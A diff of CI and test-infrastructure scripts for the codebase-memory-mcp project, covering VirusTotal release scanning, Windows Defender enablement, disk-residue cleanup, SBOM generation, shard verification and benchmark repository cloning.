docker run --rm -v "${BIN_ABS}:/cbm:ro" "${IMAGE}" /cbm --version
echo "PASS: binary starts on old glibc (${IMAGE})"
+91
View File
@@ -0,0 +1,91 @@
#!/usr/bin/env bash
# Wait for VirusTotal scans to complete and check results.
# Expects: VT_API_KEY, VT_ANALYSIS (comma-separated "file=URL" pairs)
set -euo pipefail
MIN_ENGINES=60
rm -f /tmp/vt_gate_fail
echo "=== Waiting for VirusTotal scans to fully complete ==="
echo "$VT_ANALYSIS" | tr ',' '\n' | while IFS= read -r entry; do
[ -z "$entry" ] && continue
FILE=$(echo "$entry" | cut -d'=' -f1)
URL=$(echo "$entry" | cut -d'=' -f2-)
BASENAME=$(basename "$FILE")
# Extract base64 analysis ID from URL
ANALYSIS_ID=$(echo "$URL" | sed -n 's|.*/file-analysis/\([^/]*\)/.*|\1|p')
if [ -z "$ANALYSIS_ID" ]; then
ANALYSIS_ID=$(echo "$URL" | grep -oE '[a-f0-9]{64}')
if [ -z "$ANALYSIS_ID" ]; then
echo "BLOCKED: Cannot parse VirusTotal URL: $URL"
echo "FAIL" >> /tmp/vt_gate_fail
continue
fi
fi
# Poll until completed (max 120 min)
SCAN_COMPLETE=false
for attempt in $(seq 1 720); do
RESULT=$(curl -sf --max-time 10 \
-H "x-apikey: $VT_API_KEY" \
"https://www.virustotal.com/api/v3/analyses/$ANALYSIS_ID" 2>/dev/null || echo "")
if [ -z "$RESULT" ]; then
echo " $BASENAME: waiting (attempt $attempt)..."
sleep 10
continue
fi
STATS=$(echo "$RESULT" | python3 -c "
import json, sys
d = json.loads(sys.stdin.read())
attrs = d.get('data', {}).get('attributes', {})
status = attrs.get('status', 'queued')
stats = attrs.get('stats', {})
malicious = stats.get('malicious', 0)
suspicious = stats.get('suspicious', 0)
undetected = stats.get('undetected', 0)
harmless = stats.get('harmless', 0)
total = sum(stats.values())
completed = malicious + suspicious + undetected + harmless
print(f'{status},{malicious},{suspicious},{completed},{total}')
" 2>/dev/null || echo "queued,0,0,0,0")
STATUS=$(echo "$STATS" | cut -d',' -f1)
MALICIOUS=$(echo "$STATS" | cut -d',' -f2)
SUSPICIOUS=$(echo "$STATS" | cut -d',' -f3)
COMPLETED=$(echo "$STATS" | cut -d',' -f4)
TOTAL=$(echo "$STATS" | cut -d',' -f5)
if [ "$STATUS" = "completed" ]; then
SCAN_COMPLETE=true
if [ "$COMPLETED" -lt "$MIN_ENGINES" ]; then
echo "NOTE: $BASENAME completed with only $COMPLETED/$TOTAL engines (< $MIN_ENGINES)"
fi
if [ "$MALICIOUS" -gt 0 ] || [ "$SUSPICIOUS" -gt 0 ]; then
echo "BLOCKED: $BASENAME flagged ($MALICIOUS malicious, $SUSPICIOUS suspicious / $COMPLETED engines)"
echo " $URL"
echo "FAIL" >> /tmp/vt_gate_fail
else
echo "OK: $BASENAME clean ($COMPLETED engines, 0 detections)"
fi
break
fi
echo " $BASENAME: $COMPLETED/$TOTAL engines ($STATUS, attempt $attempt)..."
sleep 10
done
if [ "$SCAN_COMPLETE" != "true" ]; then
echo "WARNING: $BASENAME scan did not complete in time"
echo "FAIL" >> /tmp/vt_gate_fail
fi
done
if [ -f /tmp/vt_gate_fail ]; then
echo "BLOCKED: One or more VirusTotal checks failed"
exit 1
fi
echo "=== All VirusTotal scans passed ==="
+84
View File
@@ -0,0 +1,84 @@
<#
.SYNOPSIS
Sweep cbm test residue from a Windows test host and assert a runner-like free
disk, before any test/smoke/soak run.
.DESCRIPTION
A GitHub-hosted runner is ephemeral: every job starts on a fresh image with a
known-free disk. The local Windows VM is long-lived, so each run leaves temp
roots, staged bundles and ~100 MB binary copies behind. Left alone that drift
is not merely untidy - it changes the environment under test, and a disk that
has quietly filled produces ERROR_DISK_FULL deep inside the install path, which
reads as a product failure rather than an environment one. That misdiagnosis
has already cost a full session.
So every run starts from the same shape the runner would give it: residue gone,
free space asserted. Refusing to start is correct - an unusable environment is a
run blocker to escalate, never something to quietly run anyway on a bad disk.
Sweeps only cbm-prefixed directories under the profile and TEMP. The checkout
(C:\cbm) is not under either, and is never touched.
.PARAMETER MinFreeGB
Free space required before a run. Defaults to 14, the SSD size a GitHub-hosted
Windows runner advertises, so the local venue cannot run under conditions the
CI venue would never see.
.PARAMETER SkipGate
Sweep and report, but do not fail when free space is short. For inspection only.
#>
[CmdletBinding()]
param(
[double]$MinFreeGB = 14,
[switch]$SkipGate
)
$ErrorActionPreference = 'Stop'
function Get-FreeGB {
[math]::Round((Get-PSDrive C).Free / 1GB, 2)
}
# The guard suites deliberately build adversarial trees - names with spaces and
# non-representable characters, deep .cbm-retired/generations nesting - whose
# full paths exceed MAX_PATH. Remove-Item cannot address those and fails with
# DirectoryNotFoundException, so `rd` under the \\?\ prefix (which bypasses the
# 260-char limit) is the fallback. Every removal is then VERIFIED: an earlier
# revision counted attempts, not successes, and cheerfully reported 86 swept
# directories while 11 GB of them were still sitting on the disk.
function Remove-ResidueDir([string]$Path) {
Remove-Item -LiteralPath $Path -Recurse -Force -ErrorAction SilentlyContinue
if (-not (Test-Path -LiteralPath $Path)) { return $true }
& cmd.exe /c "rd /s /q `"\\?\$Path`"" 2>&1 | Out-Null
return -not (Test-Path -LiteralPath $Path)
}
$before = Get-FreeGB
$removed = 0
$failed = @()
$roots = @($env:USERPROFILE, $env:TEMP) | Where-Object { $_ } | Select-Object -Unique
foreach ($root in $roots) {
if (-not (Test-Path -LiteralPath $root)) { continue }
Get-ChildItem -LiteralPath $root -Directory -Filter 'cbm-*' -ErrorAction SilentlyContinue |
ForEach-Object {
if (Remove-ResidueDir $_.FullName) {
$removed++
} else {
$failed += $_.FullName
}
}
}
$after = Get-FreeGB
Write-Output "residue-dirs-removed=$removed residue-dirs-failed=$($failed.Count) free-gb-before=$before free-gb-after=$after"
foreach ($f in $failed) { Write-Warning "could not sweep: $f" }
if (-not $SkipGate -and $after -lt $MinFreeGB) {
$msg = "BLOCKED: $after GB free, need $MinFreeGB GB. " +
"A GitHub runner never starts this low, so a run here would not be " +
"comparable - and a disk that fills mid-run surfaces as a bogus " +
"product failure rather than an environment one. Free space, re-run."
Write-Error $msg
exit 1
}
+59
View File
@@ -0,0 +1,59 @@
# ensure-defender.ps1 — Windows Defender real-time protection must be ACTIVE
# on every Windows venue: the local test VM and every GitHub Windows runner
# alike. The AV interaction surface (file locks on fresh binaries, scan-on-
# first-execute latency, quarantine behavior) is part of what the Windows legs
# test; a venue with Defender off is testing a different operating system.
#
# GitHub's runner images ship with Defender disabled, so this script ENABLES
# it, then VERIFIES it is actually running — and fails closed if it cannot be
# made active. No silent skip: a leg that cannot get Defender on must go red,
# not quietly measure the wrong environment. (Same doctrine as the smoke
# no-skip rules: a gate that can be skipped is not a gate.)
#
# Canonical entry: local VM preflight (win.sh) and the Windows CI jobs all run
# THIS file — venue parity by construction.
$ErrorActionPreference = 'Stop'
function Try-Step {
param([string]$What, [scriptblock]$Action)
try {
& $Action
Write-Host "ensure-defender: $What - ok"
} catch {
# Individual enable steps may legitimately no-op (already enabled,
# service already running); only the final verification gates.
Write-Host "ensure-defender: $What - $($_.Exception.Message)"
}
}
Try-Step "WinDefend service startup type" {
Set-Service -Name WinDefend -StartupType Automatic
}
Try-Step "WinDefend service start" {
Start-Service -Name WinDefend
}
Try-Step "enable real-time monitoring" {
Set-MpPreference -DisableRealtimeMonitoring $false
}
$status = $null
try {
$status = Get-MpComputerStatus
} catch {
Write-Host "ensure-defender: FAIL - Defender engine unavailable: $($_.Exception.Message)"
exit 1
}
if (-not $status.AntivirusEnabled) {
Write-Host "ensure-defender: FAIL - antivirus engine is not enabled on this venue"
exit 1
}
if (-not $status.RealTimeProtectionEnabled) {
Write-Host "ensure-defender: FAIL - real-time protection is OFF and could not be enabled"
exit 1
}
Write-Host ("=== ensure-defender: ACTIVE (engine {0}, signatures {1}, RTP on) ===" -f `
$status.AMEngineVersion, $status.AntivirusSignatureVersion)
exit 0
+57
View File
@@ -0,0 +1,57 @@
#!/usr/bin/env python3
"""Generate the release SPDX SBOM (sbom.json).
Canonical release step (called by release.yml). Lived inline in workflow YAML
until 2026-07-26 — vendored-dependency versions belong in a reviewable,
venue-independent script, and the venue-parity contract forbids logic in
workflow run-blocks.
Usage: scripts/ci/generate-sbom.py <version> (e.g. v0.9.1)
Keep versionInfo entries in sync with the vendored trees; the authoritative
per-grammar license list is internal/cbm/vendored/grammars/MANIFEST.md.
"""
from __future__ import annotations
import datetime
import glob
import json
import os
import sys
if len(sys.argv) != 2 or sys.argv[1] in {"-h", "--help"}:
print(__doc__.strip(), file=sys.stderr)
sys.exit(0 if len(sys.argv) == 2 else 2)
version = sys.argv[1]
n_grammars = len(
[d for d in glob.glob("internal/cbm/vendored/grammars/*") if os.path.isdir(d)]
)
sbom = {
"spdxVersion": "SPDX-2.3",
"dataLicense": "CC0-1.0",
"SPDXID": "SPDXRef-DOCUMENT",
"name": f"codebase-memory-mcp-{version}",
"documentNamespace": f"https://github.com/DeusData/codebase-memory-mcp/releases/{version}",
"creationInfo": {
"created": datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ"),
"creators": ["Tool: codebase-memory-mcp-release-pipeline"],
},
"packages": [
{"SPDXID": "SPDXRef-Package-sqlite3", "name": "sqlite3", "versionInfo": "3.51.3", "licenseDeclared": "blessing", "downloadLocation": "https://sqlite.org", "filesAnalyzed": False},
{"SPDXID": "SPDXRef-Package-yyjson", "name": "yyjson", "versionInfo": "0.12.0", "licenseDeclared": "MIT", "downloadLocation": "https://github.com/ibireme/yyjson", "filesAnalyzed": False},
{"SPDXID": "SPDXRef-Package-mimalloc", "name": "mimalloc", "versionInfo": "3.3.2", "licenseDeclared": "MIT", "downloadLocation": "https://github.com/microsoft/mimalloc", "filesAnalyzed": False},
{"SPDXID": "SPDXRef-Package-xxhash", "name": "xxhash", "versionInfo": "0.8.3", "licenseDeclared": "BSD-2-Clause", "downloadLocation": "https://github.com/Cyan4973/xxHash", "filesAnalyzed": False},
{"SPDXID": "SPDXRef-Package-tre", "name": "tre", "versionInfo": "0.8.0", "licenseDeclared": "BSD-2-Clause", "downloadLocation": "https://github.com/laurikari/tre", "filesAnalyzed": False},
{"SPDXID": "SPDXRef-Package-tree-sitter", "name": "tree-sitter", "versionInfo": "0.24.4", "licenseDeclared": "MIT", "downloadLocation": "https://github.com/tree-sitter/tree-sitter", "filesAnalyzed": False},
{"SPDXID": "SPDXRef-Package-lz4", "name": "lz4", "versionInfo": "1.10.0", "licenseDeclared": "BSD-2-Clause", "downloadLocation": "https://github.com/lz4/lz4", "filesAnalyzed": False},
{"SPDXID": "SPDXRef-Package-zstd", "name": "zstd", "versionInfo": "1.5.7", "licenseDeclared": "BSD-3-Clause", "downloadLocation": "https://github.com/facebook/zstd", "filesAnalyzed": False},
{"SPDXID": "SPDXRef-Package-simplecpp", "name": "simplecpp", "versionInfo": "1.x", "licenseDeclared": "0BSD", "downloadLocation": "https://github.com/danmar/simplecpp", "filesAnalyzed": False},
{"SPDXID": "SPDXRef-Package-verstable", "name": "verstable", "versionInfo": "2.2.1", "licenseDeclared": "MIT", "downloadLocation": "https://github.com/JacksonAllan/Verstable", "filesAnalyzed": False},
{"SPDXID": "SPDXRef-Package-wyhash", "name": "wyhash", "versionInfo": "final-4.3", "licenseDeclared": "Unlicense", "downloadLocation": "https://github.com/wangyi-fudan/wyhash", "filesAnalyzed": False},
{"SPDXID": "SPDXRef-Package-nomic-embed-code", "name": "nomic-embed-code-token-embeddings", "versionInfo": "1.0", "licenseDeclared": "Apache-2.0", "downloadLocation": "https://huggingface.co/nomic-ai/nomic-embed-code", "filesAnalyzed": False, "comment": "Derived int8 token embeddings; see vendored/nomic/NOTICE"},
{"SPDXID": "SPDXRef-Package-tree-sitter-grammars", "name": "tree-sitter-grammars-aggregate", "versionInfo": f"{n_grammars}-grammars", "licenseDeclared": "MIT", "downloadLocation": "NOASSERTION", "filesAnalyzed": False, "comment": f"Aggregate of {n_grammars} vendored tree-sitter grammars, compiled statically. Predominantly MIT; non-MIT families present include CC0-1.0 (clojure, fennel), Apache-2.0 (elixir, erlang, gleam, hcl, ini, jinja2, just, pkl, sway, wit), ISC (pine, templ), Unlicense (fish); first-party grammars (c) DeusData, MIT. This summary is non-exhaustive; the authoritative complete per-grammar license list is internal/cbm/vendored/grammars/MANIFEST.md, and full license texts ship in THIRD_PARTY_NOTICES.md inside each archive."},
],
}
json.dump(sbom, open("sbom.json", "w"), indent=2)
print(f"sbom.json written ({n_grammars} grammars, version {version})")
+74
View File
@@ -0,0 +1,74 @@
<#
.SYNOPSIS
Create a protected per-user temp root and print its path.
.DESCRIPTION
The daemon and install-flow suites fail closed on the MSYS-shared /tmp and on a
runner's inherited LocalAppData\Temp ACLs: both grant mutation rights to
Authenticated Users, which the launcher/daemon trust policy correctly refuses.
Running them there produces security refusals, not test signal. Every venue
therefore gives the harness a per-user root beneath the profile carrying an
owner-stamped, protected current-SID DACL.
This is the single implementation. It was duplicated between
.github/workflows/_test.yml and test-infrastructure/vm/vm-run-tests.sh - which
let the two venues drift - and _soak.yml carried no copy at all, so CI soaked
under the default runner TEMP while the local soak ran hardened.
.PARAMETER Prefix
Directory-name prefix for the root. Also selects what -PruneStale sweeps, so
each venue keeps its own namespace.
.PARAMETER ProtectDir
Extra directories to create and stamp with the same protected DACL. The
workspace drive root grants Authenticated Users Modify by inheritance - a shape
real user checkouts under the profile do not have - so build outputs living
there need the same treatment or the activation transaction's source-directory
policy refuses them.
.PARAMETER PruneStale
Remove earlier roots sharing this prefix before creating the new one. Intended
for the long-lived VM, where roots accumulate; a fresh runner has none.
#>
[CmdletBinding()]
param(
[string]$Prefix = 'cbm-tmp-',
[string[]]$ProtectDir = @(),
[switch]$PruneStale
)
$ErrorActionPreference = 'Stop'
if ($PruneStale) {
Get-ChildItem -LiteralPath $env:USERPROFILE -Directory -Filter "$Prefix*" `
-ErrorAction SilentlyContinue |
Remove-Item -Recurse -Force -ErrorAction SilentlyContinue
}
$sid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
$rule = [System.Security.AccessControl.FileSystemAccessRule]::new(
$sid,
[System.Security.AccessControl.FileSystemRights]::FullControl,
([System.Security.AccessControl.InheritanceFlags]::ContainerInherit -bor
[System.Security.AccessControl.InheritanceFlags]::ObjectInherit),
[System.Security.AccessControl.PropagationFlags]::None,
[System.Security.AccessControl.AccessControlType]::Allow)
function Set-ProtectedAcl([string]$Path) {
$acl = [System.Security.AccessControl.DirectorySecurity]::new()
$acl.SetOwner($sid)
$acl.SetAccessRuleProtection($true, $false)
$acl.AddAccessRule($rule) | Out-Null
Set-Acl -LiteralPath $Path -AclObject $acl
}
$root = Join-Path $env:USERPROFILE ($Prefix + [guid]::NewGuid().ToString('N'))
New-Item -ItemType Directory -Path $root | Out-Null
Set-ProtectedAcl $root
foreach ($dir in $ProtectDir) {
New-Item -ItemType Directory -Path $dir -Force | Out-Null
Set-ProtectedAcl $dir
}
Write-Output $root
+105
View File
@@ -0,0 +1,105 @@
#!/usr/bin/env bash
# Bring the container venue to the shape a GitHub runner would hand us, before
# any docker-backed test/smoke run.
#
# A GitHub-hosted runner is ephemeral: fresh image, known-free disk, no leftover
# containers or volumes from a previous job. Colima is long-lived, so exited
# containers and orphaned volumes accumulate and the disk drifts down. That
# drift is not cosmetic — a disk that fills mid-run fails deep inside the
# install path and reads as a product bug rather than an environment one.
#
# Default sweep is the state a runner would never have carried in: stopped
# containers, dangling images, unused volumes. The build cache is KEPT by
# default — a runner restores an equivalent cache via actions/cache, so wiping
# it locally would diverge from CI, not converge with it. --deep drops it too.
#
# Usage: preflight-docker.sh [--deep] [--min-free-gb N] [--skip-gate]
set -euo pipefail
# A German (or any comma-decimal) locale makes awk print "76,38" and then parse
# it back as 76, so the free-space gate would silently compare the wrong number.
# Pin the numeric locale for every awk/df in this script.
export LC_ALL=C
usage() {
cat <<'EOF'
Usage: scripts/ci/preflight-docker.sh [--deep] [--min-free-gb N] [--skip-gate]
Bring the Colima/docker venue to the shape a GitHub runner would hand us,
before any container-backed test/smoke/soak run (test-infrastructure/run.sh
calls this automatically; CBM_SKIP_PREFLIGHT=1 opts out for a quick re-run).
Sweeps stopped containers, dangling images and unused anonymous volumes, then
asserts free space on the filesystem backing the docker data root. The build
cache and NAMED compose volumes are KEPT by default — they are this venue's
analogue of actions/cache, so wiping them would diverge from CI, not converge.
Options:
--deep Also drop the build cache, named volumes and every unused
image (full cold start).
--min-free-gb N Free-space floor (default 14 — the runner's SSD size).
Below it the script BLOCKS with exit 1: a disk that fills
mid-run fails deep inside the install path and reads as a
product bug, so refusing to start is the correct outcome.
--skip-gate Sweep and report, but never block (inspection only).
-h, --help This text.
EOF
}
DEEP=0
MIN_FREE_GB=14
SKIP_GATE=0
while [ $# -gt 0 ]; do
case "$1" in
--deep) DEEP=1 ;;
--min-free-gb) MIN_FREE_GB="${2:?--min-free-gb needs a value}"; shift ;;
--skip-gate) SKIP_GATE=1 ;;
-h | --help) usage; exit 0 ;;
*) echo "preflight-docker: unknown argument '$1'. Please consult --help." >&2; exit 2 ;;
esac
shift
done
if ! docker info >/dev/null 2>&1; then
echo "preflight-docker: docker is not reachable — start Colima first" >&2
echo " (Docker Desktop is broken on this machine; Colima is the runtime)" >&2
exit 2
fi
free_gb() {
# Measure the filesystem that actually backs the docker data root, not the
# VM's `/`: on Colima they are different mounts, and `/` reported 18 GB free
# while 12.5 GB of images lived elsewhere. The host's own free space is
# irrelevant to a container that fills the VM's disk.
local root
root="$(docker info --format '{{.DockerRootDir}}' 2>/dev/null || echo /var/lib/docker)"
docker run --rm -v /:/hostroot alpine:3 \
df -P "/hostroot${root}" 2>/dev/null |
awk 'NR==2 {printf "%.2f", $4/1048576}'
}
before="$(free_gb || echo 0)"
echo "=== preflight-docker: sweeping runner-unlike residue ==="
# Anonymous volumes only: the NAMED compose volumes are this venue's warm cache
# (the local analogue of actions/cache), so dropping them would diverge from CI
# rather than converge with it. --deep takes them too.
docker container prune -f
docker volume prune -f
docker image prune -f
if [ "$DEEP" -eq 1 ]; then
echo "--- deep: dropping build cache, named volumes and every unused image ---"
docker builder prune -af
docker volume prune -af
docker image prune -af
fi
after="$(free_gb || echo 0)"
echo "preflight-docker: free-gb-before=${before} free-gb-after=${after}"
docker system df
if [ "$SKIP_GATE" -eq 0 ] &&
awk -v a="$after" -v m="$MIN_FREE_GB" 'BEGIN {exit !(a < m)}'; then
echo "BLOCKED: ${after} GB free, need ${MIN_FREE_GB} GB. A GitHub runner never" >&2
echo " starts this low, so this run would not be comparable. Re-run with" >&2
echo " --deep to reclaim the build cache, or free space on the Colima VM." >&2
exit 1
fi
+31
View File
@@ -0,0 +1,31 @@
#!/usr/bin/env bash
# require-all-green.sh — the aggregate gate step: fail unless every needed job
# succeeded (or was legitimately skipped).
#
# Canonical CI step (called by pr.yml ci-ok with RESULTS = toJSON(needs)).
# Lived inline in workflow YAML until 2026-07-26; the venue-parity contract
# forbids logic in workflow run-blocks. `skipped` counts as OK because gated
# jobs (e.g. pr-smoke on docs-only PRs) skip by design — a matrix rename can
# still never silently deadlock a merge, which is this gate's purpose.
#
# Usage: RESULTS='<json of the needs context>' scripts/ci/require-all-green.sh
set -euo pipefail
case "${1:-}" in
-h | --help)
sed -n '2,11p' "$0" | sed 's/^# \{0,1\}//'
exit 0
;;
esac
: "${RESULTS:?set RESULTS to the toJSON(needs) context}"
printf '%s' "$RESULTS" | python3 -c "
import json, sys
needs = json.load(sys.stdin)
bad = {k: v['result'] for k, v in needs.items() if v['result'] not in ('success', 'skipped')}
if bad:
print('CI NOT OK:', bad)
sys.exit(1)
print('CI OK:', ', '.join(needs))
"
+121
View File
@@ -0,0 +1,121 @@
#!/usr/bin/env bash
# smoke-artifact.sh — the local ARTIFACT-FLOW smoke lane. The release venue
# smokes the shipped archive (download → extract → canonical wrapper); before
# this lane existed, local CI only ever smoked source builds, so the whole
# packaging/archive-layout bug class could first appear in a release dry run.
#
# This driver reproduces the release flow end to end with local bytes:
# scripts/build.sh → scripts/package-release.sh → extract →
# the SAME canonical wrapper the remote venue runs, in artifact mode
# (CBM_SMOKE_ARTIFACT_DIR), whose completeness checks make a broken or
# incomplete archive a loud failure.
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
cd "$ROOT"
usage() {
cat <<'EOF'
Usage: scripts/ci/smoke-artifact.sh <goos> <goarch> [--variant standard|ui]
[VAR=VAL ...]
Build → package (scripts/package-release.sh) → extract → smoke the EXTRACTED
artifact through the canonical wrapper, exactly like the release venue:
unix: scripts/smoke-local.sh with CBM_SMOKE_ARTIFACT_DIR
windows: test-infrastructure/vm/vm-smoke.sh with CBM_SMOKE_ARTIFACT_DIR
(run inside the VM/CI msys2 shell)
--variant ui builds --with-ui and smokes the ui archive (Phase 15 embedded
assets become mandatory — a standard binary cannot pass a ui run).
Make passthrough (VAR=VAL): CC= CXX= STATIC=1 ... forwarded to build steps.
Environment: BUILD_DIR (default build/c) — build tree used for the archive.
On failure the work directory is preserved for post-mortem (path printed).
EOF
}
GOOS=""
GOARCH=""
VARIANT="standard"
BUILD_ARGS=()
expect_value=""
for arg in "$@"; do
if [ "$expect_value" = "variant" ]; then
VARIANT="$arg"; expect_value=""; continue
fi
case "$arg" in
-h | --help) usage; exit 0 ;;
--variant) expect_value="variant" ;;
--variant=*) VARIANT="${arg#--variant=}" ;;
-*)
echo "smoke-artifact: unknown option '$arg'. Please consult --help." >&2
exit 2
;;
*=*) BUILD_ARGS+=("$arg") ;;
*)
if [ -z "$GOOS" ]; then GOOS="$arg"
elif [ -z "$GOARCH" ]; then GOARCH="$arg"
else
echo "smoke-artifact: unexpected argument '$arg'. Please consult --help." >&2
exit 2
fi
;;
esac
done
[ -n "$GOOS" ] && [ -n "$GOARCH" ] || { usage >&2; exit 2; }
case "$VARIANT" in
standard) SUFFIX=""; UI_FLAG=() ;;
ui) SUFFIX="-ui"; UI_FLAG=(--with-ui) ;;
*) echo "smoke-artifact: variant must be 'standard' or 'ui'. Please consult --help." >&2; exit 2 ;;
esac
case "$GOARCH" in
*-portable) BUILD_ARGS+=("STATIC=1") ;;
esac
BUILD_DIR="${BUILD_DIR:-build/c}"
export BUILD_DIR
scripts/build.sh ${UI_FLAG[@]+"${UI_FLAG[@]}"} \
BUILD_DIR="$BUILD_DIR" ${BUILD_ARGS[@]+"${BUILD_ARGS[@]}"}
if [ "$GOOS" = "darwin" ]; then
codesign --sign - --force "$BUILD_DIR/codebase-memory-mcp"
fi
WORK_DIR="$(mktemp -d "${TMPDIR:-/tmp}/cbm-smoke-artifact.XXXXXX")"
cleanup() {
local status=$?
trap - EXIT
if [ "$status" -eq 0 ]; then
rm -rf "$WORK_DIR"
else
echo "smoke-artifact: preserved failed lane root at $WORK_DIR" >&2
fi
exit "$status"
}
trap cleanup EXIT
scripts/package-release.sh "$GOOS" "$GOARCH" --variant "$VARIANT" \
--out-dir "$WORK_DIR" ${BUILD_ARGS[@]+"${BUILD_ARGS[@]}"}
NAME="codebase-memory-mcp${SUFFIX}-${GOOS}-${GOARCH}"
EXTRACT_DIR="$WORK_DIR/extract"
mkdir -p "$EXTRACT_DIR"
if [ "$GOOS" = "windows" ]; then
unzip -q -o "$WORK_DIR/$NAME.zip" -d "$EXTRACT_DIR"
test -s "$EXTRACT_DIR/codebase-memory-mcp.exe"
# ONE binary per platform: a payload sibling means the AV-flagged launcher
# stub came back.
test ! -e "$EXTRACT_DIR/codebase-memory-mcp.payload.exe"
echo "=== smoke-artifact: smoking EXTRACTED $NAME.zip via vm-smoke.sh ==="
SMOKE_ARCH="$GOARCH" SMOKE_VARIANT="$VARIANT" \
CBM_SMOKE_ARTIFACT_DIR="$EXTRACT_DIR" \
bash test-infrastructure/vm/vm-smoke.sh
else
tar -xzf "$WORK_DIR/$NAME.tar.gz" -C "$EXTRACT_DIR"
chmod +x "$EXTRACT_DIR/codebase-memory-mcp"
echo "=== smoke-artifact: smoking EXTRACTED $NAME.tar.gz via smoke-local.sh ==="
CBM_SMOKE_ARTIFACT_DIR="$EXTRACT_DIR" \
scripts/smoke-local.sh "$EXTRACT_DIR/codebase-memory-mcp" "$VARIANT"
fi
echo "=== smoke-artifact: $NAME passed ==="
+61
View File
@@ -0,0 +1,61 @@
#!/usr/bin/env bash
# verify-shard-union.sh — prove the sharded test legs lost nothing.
#
# Canonical CI step (called by _test.yml's shard-completeness job on the
# downloaded shard-manifest-* artifacts). Lived inline in workflow YAML until
# 2026-07-26; the venue-parity contract forbids logic in workflow run-blocks.
#
# For every leg it asserts: all shards agree on the shard count, indices form
# exactly 1..n, every shard saw the same full suite list, and the UNION of the
# shard slices equals that list — a rename/re-shard can never silently drop a
# suite (gate-quality loss) without failing here.
#
# Usage: scripts/ci/verify-shard-union.sh <manifests-dir>
set -eu
case "${1:-}" in
-h | --help)
sed -n '2,13p' "$0" | sed 's/^# \{0,1\}//'
exit 0
;;
esac
MANIFEST_DIR="${1:?usage: verify-shard-union.sh <manifests-dir> (see --help)}"
files=$(find "$MANIFEST_DIR" -name shard-manifest.txt | sort)
if [ -z "$files" ]; then
echo "FAIL: no shard manifests were uploaded" >&2
exit 1
fi
rc=0
for leg in $(grep -h '^leg=' $files | sort -u | sed 's/^leg=//'); do
leg_files=$(grep -l "^leg=$leg\$" $files)
n=$(grep -h '^shard=' $leg_files | sed 's|.*/||' | sort -u)
if [ "$(printf '%s\n' "$n" | wc -l)" -ne 1 ]; then
echo "FAIL: $leg shards disagree on shard count: $n" >&2
rc=1
continue
fi
indices=$(grep -h '^shard=' $leg_files | sed 's/^shard=//;s|/.*||' | sort -n)
if [ "$indices" != "$(seq 1 "$n")" ]; then
echo "FAIL: $leg shard indices [$indices] != 1..$n" >&2
rc=1
continue
fi
list_sha=$(grep -h '^list_sha256=' $leg_files | sed 's/^list_sha256=//' | sort -u)
if [ "$(printf '%s\n' "$list_sha" | wc -l)" -ne 1 ]; then
echo "FAIL: $leg shards saw different suite lists" >&2
rc=1
continue
fi
union_sha=$(for f in $leg_files; do
sed -n '/^--- slice ---$/,$p' "$f" | tail -n +2
done | sort | sha256sum | awk '{print $1}')
if [ "$union_sha" != "$list_sha" ]; then
echo "FAIL: $leg union of shard slices != full suite list (GATE-QUALITY LOSS)" >&2
rc=1
continue
fi
echo "OK: $leg — $n shard(s), union of slices == full suite list"
done
exit "$rc"
+42
View File
@@ -0,0 +1,42 @@
#!/usr/bin/env bash
# clean.sh — Remove ALL build artifacts, caches, and generated files.
#
# Usage: scripts/clean.sh
#
# Ensures every subsequent build starts from scratch — no cached .o files,
# no stale node_modules, no leftover dist folders. This is the first step
# in both scripts/test.sh and scripts/build.sh.
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
# shellcheck source=path-safety.sh
source "$ROOT/scripts/path-safety.sh"
# Containerized legs build in their own directory (BUILD_DIR env) so a
# container clean never deletes the host's native build/c mid-build.
BUILD_DIR="${BUILD_DIR:-build/c}"
echo "=== Cleaning build artifacts ($BUILD_DIR) ==="
# C build artifacts
cbm_remove_build_dir "$ROOT" "$BUILD_DIR"
# Frontend build artifacts
rm -rf "$ROOT/graph-ui/dist"
rm -rf "$ROOT/graph-ui/node_modules"
# Root-level node artifacts (if any)
rm -rf "$ROOT/node_modules"
# Generated embedded assets (regenerated by embed-frontend.sh)
rm -f "$ROOT/src/ui/embedded_assets.c"
# Leftover test fixture dirs (C test suite sometimes creates these in CWD)
find "$ROOT" -maxdepth 1 -type d \( -name 'cbm_*' -o -name 'cli-*' \) -exec rm -rf {} + 2>/dev/null || true
# Leftover test fixture dirs in /tmp
find /tmp -maxdepth 1 -type d \( -name 'cbm_*' -o -name 'cli-*' \) -user "$(id -u)" -exec rm -rf {} + 2>/dev/null || true
echo "=== Clean complete ==="
+110
View File
@@ -0,0 +1,110 @@
#!/usr/bin/env bash
set -euo pipefail
# Clone benchmark repositories for MCP vs Explorer quality comparison.
# Uses shallow clones (--depth 1) to minimize disk usage.
# Shared repos are cloned once and symlinked for secondary languages.
BENCH_DIR="${1:-/tmp/bench}"
clone() {
local lang="$1" repo="$2" subdir="${3:-}"
local dest="$BENCH_DIR/$lang"
if [ -d "$dest" ]; then
echo "SKIP: $lang (exists)"
return
fi
echo "CLONE: $lang <- $repo"
git clone --depth 1 --quiet "https://github.com/$repo.git" "$dest"
echo " OK: $(du -sh "$dest" | cut -f1)"
}
symlink() {
local lang="$1" source_lang="$2"
local dest="$BENCH_DIR/$lang"
if [ -d "$dest" ] || [ -L "$dest" ]; then
echo "SKIP: $lang (exists)"
return
fi
echo "LINK: $lang -> $source_lang"
ln -s "$BENCH_DIR/$source_lang" "$dest"
}
mkdir -p "$BENCH_DIR"
# Programming languages — Tier 1 (44 languages)
# Target: 100K+ LOC per repo for meaningful performance benchmarks
clone go "kubernetes/kubernetes" # 3.5M LOC, the Go benchmark
clone python "django/django" # 350K+ LOC, web framework
clone javascript "vercel/next.js" # 500K+ LOC, React framework
clone typescript "microsoft/TypeScript" # 1M+ LOC, the TS compiler
clone tsx "shadcn-ui/ui" # 728K LOC (already large)
clone java "elastic/elasticsearch" # 2M+ LOC, search engine
clone kotlin "JetBrains/Exposed" # 977K LOC (already large)
clone scala "apache/spark" # 1M+ LOC, big data
clone rust "meilisearch/meilisearch" # 409K LOC (already large)
clone c "redis/redis" # 546K LOC (already large)
clone cpp "protocolbuffers/protobuf" # 500K+ LOC, real .cpp files
clone csharp "dotnet/runtime" # Massive C# runtime
clone php "koel/koel" # 189K LOC (OK)
clone ruby "rails/rails" # 500K+ LOC, the Ruby framework
clone lua "neovim/neovim" # 500K+ LOC, editor
